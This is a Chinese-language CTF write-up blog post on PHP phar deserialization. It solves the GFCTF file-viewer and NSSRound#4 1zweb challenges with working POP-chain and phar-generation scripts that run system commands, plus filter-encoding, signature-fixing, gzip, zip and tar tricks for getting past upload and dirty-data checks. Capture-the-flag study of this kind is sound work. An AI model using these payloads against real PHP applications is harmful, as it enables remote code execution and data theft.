phar反序列化

phar反序列化

GFCTF–文件查看器

本题目可在NSSCTF平台复现

目录扫描发现www.zip

User.class.php

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

Myerror.class.php

<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){
            ($key)($this->arg);
        }
    }

代码审计 (只是看代码得出的信息,没有实际操作)

有两个页面,第一个登陆界面,username=admin,password=admin登录跳转

第二个页面能够读取文件,若搜索的内容不存在会被写入/var/www/html/log/error.txt中,能够重写文件中的内容

  • Files.class.phpgetFile()file_get_contents()存在phar反序列化漏洞
  • 三个文件中存在pop链

构造pop链

User::__destruct -> User::check -> Myerror::__toString -> Files::__get

这里比较难的是User::__destruct中的(@$this->password)();要使用数组调用函数

<?php
class Files{
    public $filename;
    public $arg;
    public function __get($key){
        ($key)($this->arg);
    }
}
class Myerror{
    public $message;

    public function __tostring(){
        $test=$this->message->{$this->test};
        return "test";
    }
}
class User{
    public $username;
    public $password;
    
    public function check(){
        if($this->username==="admin" && $this->password==="admin"){
            return true;
        }else{
            echo "{$this->username}的密码不正确或不存在该用户";
            return false;
        }
    }
    
    public function __destruct(){
        (@$this->password)();
    }
    
    public function __call($name,$arg){
        ($name)();
    }
}

$a = new User();
$b = new User();
$a->password = [$b,"check"];
$b->username = new Myerror();
$b->username->message = new Files();
$b->username->test = "system";
$b->username->message->arg = "cat /f*";
echo serialize($a);
?>

php://filter

题目中没发现unserialize(),但能查看文件,想到phar反序列化,那phar://又要解析什么文件呢?

我们想到log/error.txt的内容为报错信息

image.png

但其中有脏数据,使用php://filter去除

先想到最后要把phar文件内容之外的变为非合法字符,然后base64-decode,就只剩phar文件的内容

那如何转化呢,由utf-8转换为utf-16le的字符,它的每一位字符后面都会加上一个\0,这个\0是不可见字符,但当我们将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,其它的就会被当成乱码image-20230817062542437

utf-16le被ban了,ucs-2的功能与它相同

然后要对\0进行处理,使用quoted-printable编码

即:把phar文件内容依次经过base64-encodeconvert.iconv.utf-8.ucs-2quoted-printable-encode

把结果写入log/error.txt

在解码时先quoted-printable-decode、再convert.iconv.ucs-2.utf-8、最后base64-decode

GC回收机制

在最后解密完后,要phar://,但是phar被ban了

为了不让它异常退出,这里使用GC回收机制在throw new Error("这不合理");之前提前触发__destruct

最后顺序与实际操作

<?php
class Files{
    public $filename;
    public $arg;
    public function __get($key){
        ($key)($this->arg);
    }
}
class Myerror{
    public $message;

    public function __tostring(){
        $test=$this->message->{$this->test};
        return "test";
    }
}
class User{
    public $username;
    public $password;


    public function check(){
        if($this->username==="admin" && $this->password==="admin"){
            return true;
        }else{
            echo "{$this->username}的密码不正确或不存在该用户";
            return false;
        }
    }

    public function __destruct(){
        (@$this->password)();
    }

    public function __call($name,$arg){
        ($name)();
    }
}

$a = new User();
$b = new User();
$a->password = [$b,"check"];
$b->username = new Myerror();
$b->username->message = new Files();
$b->username->test = "system";
$b->username->message->arg = "cat /f*";
echo serialize($a);
$b = array($a,null);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();
?>

修改内容,最后的i:1改为i:0

image.png

修改phar文件内容后要重新进行签名

from hashlib import sha1
f = open('a.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar4.phar', 'wb').write(newf) # 写入新文件

然后再拿去加密

<?php
$a=file_get_contents('phar4.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('2.txt',quoted_printable_encode($a));//quoted_printable编码
$b = file_get_contents('2.txt');
echo $b;
file_put_contents('2.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏
?>

file_put_contents在最后加上=00=3D是因为在php://filter/convert.iconv.ucs-2.utf-8后会出现个陌生字符

image.png

=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00w=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=005=00A=00A=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00O=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00T=00j=00t=009=00C=00Q=00A=00A=00A=00H=00R=00l=00c=003=00Q=00x=00L=00n=00R=004=00d=00A=00U=00A=00A=00A=00B=00W=00V=00N=001=00k=00B=00Q=00A=00A=00A=00O=00L=00c=00s=00o=00q=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00x=00I=00z=00S=00g=00V=00I=00G=007=00m=00l=007=00G=00e=00B=00t=00l=00l=00I=00b=008=00e=00l=00l=00l=00v=00s=004=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D=00=3D

image-20230817070053918

php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt

注意要选上重写文件

image-20230817070203472

image-20230817070414298

phar://log/error.txt

image-20230817070449179

[NSSRound#4 SWPU]1zweb

可以非预期,我们这里按预期解来讲

image-20230817071725768

index.php 源代码中查看完整代码

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

upload.php 源代码中查看完整代码

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

代码审计

upload.php检查上传文件的后缀,检查文件内容,检查文件是否存在

index.php绕过__wakeup即可

对phar文件的处理

  • 修改后缀 a.phar -> a.png
  • 使用gzip对文件进行压缩,从而绕过对__HALT_COMPILER();的检查
  • php/5.5.38 绕过__wakeup 修改类数字大于成员个数

实际操作

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
}
$a = new LoveNss();
$a->cmd = 'system("cat /f*");';
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();
?>

$a->cmd = 'system("cat /f*");';记得加;

修改后缀 a.phar->a.png

修改个数

NSSIMAGE

改完后重新签名并进行压缩

from hashlib import sha1
import gzip

with open('phar.png', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

然后上传文件

image-20230817073309229

image-20230817073336340

image-20230817073419227

小说一下绕过__HALT_COMPILER();?>的检查

1.将phar文件进行gzip压缩后在修改为png文件后缀

from hashlib import sha1
import gzip

with open('phar.png', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

2.将phar的内容写进压缩包注释中,然后压缩为zip也会绕过该正则

$phar_file = serialize($exp);
    echo $phar_file;
    $zip = new ZipArchive();
    $res = $zip->open('1.zip',ZipArchive::CREATE); 
    $zip->addFromString('crispr.txt', 'file content goes here');
    $zip->setArchiveComment($phar_file);
    $zip->close();
$phar_file = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:6:"events";O:25:"Illuminate\Bus\Dispatcher":1:{S:13:"queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:5:"event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:6:"config";O:35:"Mockery\Generator\MockConfiguration":1:{S:4:"name";S:6:"crispr";}S:4:"code";S:31:"\3c\3f\70\68\70 echo system("cat /flag");";}}}';

    $zip = new ZipArchive();
    $res = $zip->open('1.zip',ZipArchive::CREATE); 
    $zip->addFromString('crispr.txt', 'file content goes here');
    $zip->setArchiveComment($phar_file);
    $zip->close();

phar签名及数据绕过

https://www.php.net/manual/zh/phar.fileformat.signature.php

绕过__wakeup时要修改phar内容,但是修改后要重新进行签名

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

from hashlib import sha1
f = open('b.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件

注意计算 SHA1 的时候要使用 .digest() 而不是 .hexdigest(), 因为文件本身保存的签名是二进制格式的

其它签名算法同理, 就是切片的长度不一样 (不过一般也不怎么用到)

phar 协议对 gzip bzip2 处理时, PHP 会将其解压缩, 然后解析里面的 phar 文件

tar文件绕过签名

对 tar 处理时, PHP 会检测压缩包中是否存在 .phar/.metadata, 存在的话就会将 .metadata 里的内容直接进行反序列化

本地创建 .phar 文件夹和 .metadata 文件

exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ ls -a
.metadata
exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ cat .metadata
O:1:"A":2:{s:4:"text";s:7:"success";}
tar -cf phar.tar .phar/

我也是用phpstudy不成功,应该跟php版本有关

image-20231105181214981

绕过文件头部的脏数据(我们可以修改内容)

假如遇到绕wakeup的phar反序列化,我们需要修改phar文件的内容,那我们只需要重新计算一下签名,然后把计算完签名后的phar文件的脏数据删掉,然后上传就行了。

。。。说实话没搞懂

绕过文件头部脏数据(数据修改在服务端)

如果是日志的话一般可以用php://filter把数据清空

利用要点

我们已知脏数据的内容,是在上传文件后拼接脏数据

实现

把脏数据拼接在<?php __HALT_COMPILER(); ?>之前,然后生成phar文件(这样生成的文件的签名是带有脏数据的),接着手动删除前面的脏数据然后上传,服务端会去拼接,等于说我们事先就生成好了签名

<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");   // 因为它是phar文件的开头,拼接在他的前面即为脏数据
$phar->setMetadata($a);

$phar->addFromString("anything" , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));   //截取脏数据之后的数据
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>

这里有一部分细节的,就是,我们不能用记事本打开手动删除,不知道为什么这样会破坏数据,我们需要用php代码去修改 (boogipop大佬说的)

绕过文件尾部的脏数据

tar格式自动忽略尾部脏数据,因为tar格式有暂停解析位,在之后添加的数据都不会解析的

<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);

//$phar = new Phar("1.phar")
//$phar->convertToExecutable(Phar::TAR) #会生成1.phar.tar

$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
?>

结束

唉,啥都不会,自己还懒

这篇发完后又得过一段时间才能写下一篇了


phar反序列化
https://zer0peach.github.io/2023/08/17/phar反序列化/
作者
Zer0peach
发布于
2023年8月17日
许可协议